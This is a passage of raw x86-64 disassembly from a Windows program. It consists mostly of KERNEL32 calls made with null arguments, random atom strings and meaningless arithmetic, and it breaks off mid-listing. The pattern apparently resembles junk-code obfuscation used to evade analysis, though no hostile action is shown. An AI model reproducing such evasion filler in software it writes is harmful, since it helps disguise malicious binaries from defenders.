call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
movzx ecx, word [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf40], ax
mov rcx, qword [rsp + 0x8df8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0xf54]
mov qword [rsp + 0x9870], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, str.Fq3l_VZA_TpnumMUf1n
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xfd0], ax
lea rcx, [rsp + 0x8df0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d48], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9878], rax
movsx eax, byte [rsp + 0x27c]
mov rcx, qword [rsp + 0x9658]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x255], al
mov r9d, 0x1d12
xor r8d, r8d
lea rdx, [rsp + 0x90d0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4930], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
movzx eax, byte [rsp + 0x270]
mov rcx, qword [0x14024f348]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x26a], al
movzx eax, word [rsp + 0xf00]
movzx ecx, word [rsp + 0xf98]
sub eax, ecx
mov word [rsp + 0xb9c], ax
mov eax, dword [rsp + 0x41e4]
mov dword [0x14024f33c], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9880], rax
mov r9d, 1
lea r8, [rsp + 0x96f0]
mov rdx, qword [rsp + 0x9790]
mov rcx, qword [rsp + 0x9180]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4924], eax
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x80e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7ed0], rax
movzx ecx, word [rsp + 0xfd4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfd8], ax
mov r9d, 2
lea r8, [rsp + 0x9810]
mov rdx, qword [rsp + 0x9610]
mov rcx, qword [rsp + 0x9800]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x494c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0x9868]
mov rax, qword [rax]
mov qword [rsp + 0x9888], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x9890], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9590], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
movzx eax, byte [rsp + 0x1d3]
movzx ecx, byte [rsp + 0x274]
imul eax, ecx
mov byte [rsp + 0x26a], al
lea rcx, [rsp + 0x1fa40]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4704], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1fb60]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x46f4], eax
lea rax, [rsp + 0xf74]
mov qword [rsp + 0x9898], rax
mov rax, qword [rsp + 0x9848]
mov rcx, qword [rsp + 0x8ce8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9848]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9560]
mov rcx, qword [rsp + 0x97b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8410], rax
mov rcx, qword [rsp + 0x9650]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov dword [rsp + 0x1fc80], 0x11c
mov edx, 0x954
mov rcx, qword [rsp + 0x9328]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x46f8], eax
xor r9d, r9d
lea r8, [rsp + 0x96f8]
mov rdx, qword [rsp + 0x9810]
mov rcx, qword [rsp + 0x9770]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x49b8], eax
mov rcx, qword [rsp + 0x8f68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4978], eax
lea rcx, [rsp + 0x8df0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov dword [rsp + 0x1fda0], 0x11c
lea rax, [rsp + 0x16a]
mov qword [rsp + 0x98a0], rax
lea rcx, [rsp + 0x1a4c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0x8df0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0x8e10]
mov rcx, qword [rsp + 0x9778]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x495c], eax
mov rax, qword [rsp + 0x9640]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9218]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14022103c], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x9610]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [0x14024f38c]
mov qword [rsp + 0x98a8], rax
lea rdx, [rsp + 0x8d50]
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x48f4], eax
movzx eax, word [rsp + 0xdec]
mov rcx, qword [rsp + 0x9618]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9858]
mov word [rcx], ax
lea rcx, str.KXSbekG
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xfdc], ax
mov rax, qword [rsp + 0x8f20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfb0]
or eax, ecx
mov word [rsp + 0xf00], ax
mov rcx, qword [rsp + 0x9078]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0x1a408]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, 0x8e3
xor r8d, r8d
lea rdx, [rsp + 0x9818]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49bc], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x1f6e0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4918], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
lea rax, [rsp + 0xb4c]
mov qword [rsp + 0x98b0], rax
lea rcx, str.zaRDv_S5snHyYFF4hDiV_OJ720
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf4c], ax
lea rcx, str.Qw6WgxBa_PTf1URPBAlnsMRa
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xfe0], ax
lea rdx, [rsp + 0x8ee8]
mov rcx, qword [rsp + 0x9168]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4974], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
lea rcx, [0x1402308e4]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xfe4], ax
mov rax, qword [rsp + 0x96a8]
mov ecx, dword [rsp + 0x46c4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4668], eax
movsx eax, byte [rsp + 0x27d]
movsx ecx, byte [rsp + 0x27a]
sar eax, cl
mov byte [rsp + 0x127], al
mov edx, 0x1971
mov rcx, qword [rsp + 0x9668]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x48c4], eax
lea rcx, [rsp + 0x8ee0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9588]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x46e8]
shl eax, cl
mov dword [rsp + 0x4440], eax
mov edx, 0xe4e
mov rcx, qword [rsp + 0x93a8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49c0], eax
movzx eax, byte [rsp + 0x1d3]
movzx ecx, byte [rsp + 0x277]
and eax, ecx
mov rcx, qword [rsp + 0x9218]
mov byte [rcx], al
lea rcx, [rsp + 0x8d28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0xdec]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [0x14024f378]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0x93b0]
mov qword [rsp + 0x98b8], rax
mov rax, qword [rsp + 0x8cf8]
mov rcx, qword [rsp + 0x95b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8e30], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
lea rax, [0x14022fb60]
mov qword [rsp + 0x98c0], rax
mov rax, qword [rsp + 0x98a8]
mov ecx, dword [rsp + 0x49c4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9630]
mov dword [rcx], eax
mov rax, qword [rsp + 0x97f0]
mov rcx, qword [rsp + 0x9560]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7b18], rax
movzx eax, word [rsp + 0xf60]
mov word [rsp + 0xfe8], ax
movsx eax, byte [rsp + 0x255]
mov rcx, qword [rsp + 0x97d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9528]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x98c8], rax
mov rax, qword [rsp + 0x8e00]
mov ecx, dword [rsp + 0x4668]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fe4], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9648], rax
mov rax, qword [rsp + 0x9218]
movzx eax, byte [rax]
mov byte [0x14024f33a], al
movzx ecx, word [rsp + 0xfdc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfac], ax
mov r9d, 0x2162
xor r8d, r8d
lea rdx, [rsp + 0x8ce0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49c8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
lea rdx, [rsp + 0x8d10]
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x46fc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3ff7
mov r9d, 0x2251
mov r8d, 0xcb943abc
mov edx, 1
mov rcx, qword [rsp + 0x96d8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x46fc], eax
movzx eax, word [rsp + 0xdec]
mov rcx, qword [rsp + 0x96c0]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x9530]
mov word [rcx], ax
movzx ecx, word [rsp + 0xfac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf3c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9588]
mov eax, dword [rax]
mov dword [rsp + 0x49cc], eax
movzx ecx, word [rsp + 0xee8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf08], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x1d73
mov r8d, 0x19ca
mov edx, 0x15
mov rcx, qword [rsp + 0x93d0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x49d0], eax
mov rax, qword [rsp + 0x9640]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d3]
and eax, ecx
mov byte [rsp + 0x279], al
mov rax, qword [rsp + 0x9628]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfb0]
add eax, ecx
mov rcx, qword [rsp + 0x8e08]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
movzx ecx, word [rsp + 0xfac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf8c], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0xf9c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf10], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0xf3c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf18], ax
lea rax, [rsp + 0x27c]
mov qword [rsp + 0x98d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8f78], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0xf3c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee0], ax
mov rcx, qword [rsp + 0x8ce0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x98d8], rax
mov rax, qword [rsp + 0x93c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf74]
add eax, ecx
mov word [rsp + 0xb4c], ax
mov rax, qword [rsp + 0x8ce8]
mov ecx, dword [rsp + 0x3fe4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x44ec], eax
mov rax, qword [rsp + 0x9690]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8110]
shl rax, cl
mov qword [rsp + 0x8f60], rax
movzx eax, word [rsp + 0xf00]
mov rcx, qword [rsp + 0x8e58]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14024f3c8], ax
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
mov rcx, qword [0x14024f348]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9730]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x3978
mov r9d, 0x23b4
mov r8d, 0xbdc
mov edx, 0x1284
mov rcx, qword [rsp + 0x8c98]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4934], eax
mov eax, dword [rsp + 0x4948]
mov dword [rsp + 0x49d4], eax
lea rcx, [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x98e0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9698], rax
lea rcx, [rsp + 0x1a3d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0x9188]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x493c], eax
lea rcx, str.YF_pUSH
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xfec], ax
lea rdx, [rsp + 0x9808]
mov rcx, qword [rsp + 0x8fa0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4934], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0x95c8]
mov rcx, qword [rsp + 0x8410]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x97f0]
mov qword [rcx], rax
lea rcx, [rsp + 0x98e8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9888]
cqo
mov rcx, qword [rsp + 0x9620]
idiv qword [rcx]
mov qword [rsp + 0x8508], rax
mov rcx, qword [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x46fc], eax
mov rax, qword [rsp + 0x98b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9170]
movsx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x93c8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x228]
movsx ecx, byte [rsp + 0x273]
and eax, ecx
mov byte [rsp + 0x154], al
mov eax, dword [0x14022fb5c]
mov dword [rsp + 0x49d8], eax
mov edx, 0x14d1
mov rcx, qword [rsp + 0x9710]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4998], eax
mov rax, qword [rsp + 0x9778]
mov ecx, dword [rsp + 0x47d0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4654], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x257]
movzx ecx, byte [rsp + 0x1a3]
add eax, ecx
mov byte [0x14024f3a8], al
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x1fb60]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x494c], eax
movzx eax, word [0x14024f394]
mov word [rsp + 0xff0], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x97a0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9548]
mov rcx, qword [rsp + 0x9868]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x98c0]
mov qword [rcx], rax
mov r9d, 0x21ee
xor r8d, r8d
lea rdx, [rsp + 0x9758]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4980], eax
mov rcx, qword [rsp + 0x98e0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x46c0], eax
lea rcx, str.HAr28Mwc_AgL56rr_UGNNu
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xff4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov rcx, qword [rsp + 0x8f68]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0x95e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x80e0], rax
lea rax, [rsp + 0xfc4]
mov qword [rsp + 0x98f0], rax
lea rcx, [rsp + 0x9808]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x97e0]
mov ecx, dword [rsp + 0x4314]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4988], eax
lea rcx, [rsp + 0x1a528]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x98d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f98]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1cf], al
movsx eax, word [rsp + 0xf54]
mov rcx, qword [rsp + 0x9870]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xf64], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
xor r9d, r9d
lea r8, [rsp + 0x8ee8]
mov rdx, qword [rsp + 0x9278]
mov rcx, qword [rsp + 0x97c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4990], eax
lea rcx, str.b9dNMBwKM6.diWw
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xff8], ax
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
mov byte [rsp + 0x27e], al
mov rax, qword [rsp + 0x9778]
mov ecx, dword [rsp + 0x4880]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14022fb78], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x7cb8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x95b8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x9758]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9738]
mov rcx, qword [rsp + 0x9208]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8850], rax
mov rax, qword [0x14024f3b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9780]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xdac], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x98f8], rax
mov rax, qword [rsp + 0x9630]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x93b8]
mov qword [rsp + 0x9900], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9900]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x469c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rsp + 0x8d10]
mov rcx, qword [rsp + 0x8c98]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4984], eax
movzx eax, byte [rsp + 0x271]
mov byte [rsp + 0x27f], al
lea rcx, [rsp + 0x9908]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x93c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf38]
shl eax, cl
mov rcx, qword [rsp + 0x9898]
mov word [rcx], ax
mov rax, qword [rsp + 0x97e0]
mov rcx, qword [rsp + 0x93e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d48], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8e38], rax
movzx ecx, word [rsp + 0xfdc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xffc], ax
mov rax, qword [0x14024f398]
movzx eax, byte [rax]
mov byte [rsp + 0x280], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
movzx eax, word [rsp + 0x6d8]
mov word [0x14024f338], ax
mov rcx, qword [rsp + 0x9188]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0x27e]
mov rcx, qword [rsp + 0x9218]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
lea rcx, [rsp + 0x1a3d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9910], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
lea rcx, [rsp + 0x95d0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9778]
mov rcx, qword [0x14024f340]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x41a8], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9918], rax
mov rcx, qword [rsp + 0x8cd8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rcx, qword [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x8cf8]
mov rcx, qword [rsp + 0x8d38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x98c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e30]
mov rcx, qword [rsp + 0x9888]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x94f8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9878], rax
mov rax, qword [rsp + 0x9870]
movzx eax, word [rax]
mov word [rsp + 0x1000], ax
lea rcx, str.GnSOyV
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1004], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov r9d, 0xf53
xor r8d, r8d
lea rdx, [rsp + 0x96b8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4938], eax
mov eax, dword [rsp + 0x48f8]
mov ecx, dword [rsp + 0x4988]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4744], eax
movzx ecx, word [rsp + 0xfe4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1008], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea rcx, str.1uh_QX.Bzl
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1008], ax
mov rcx, qword [rsp + 0x8e28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0x90d0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.nHIbL6hDWUHoK
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9920], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
movsx eax, byte [rsp + 0x273]
movsx ecx, byte [rsp + 0x16a]
sub eax, ecx
mov byte [rsp + 0xef], al
lea rdx, [rsp + 0x9928]
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4844], eax
mov rax, qword [0x14024f378]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9858]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e58]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
lea rax, [rsp + 0x465c]
mov qword [0x14024f330], rax
lea rcx, [rsp + 0x9760]
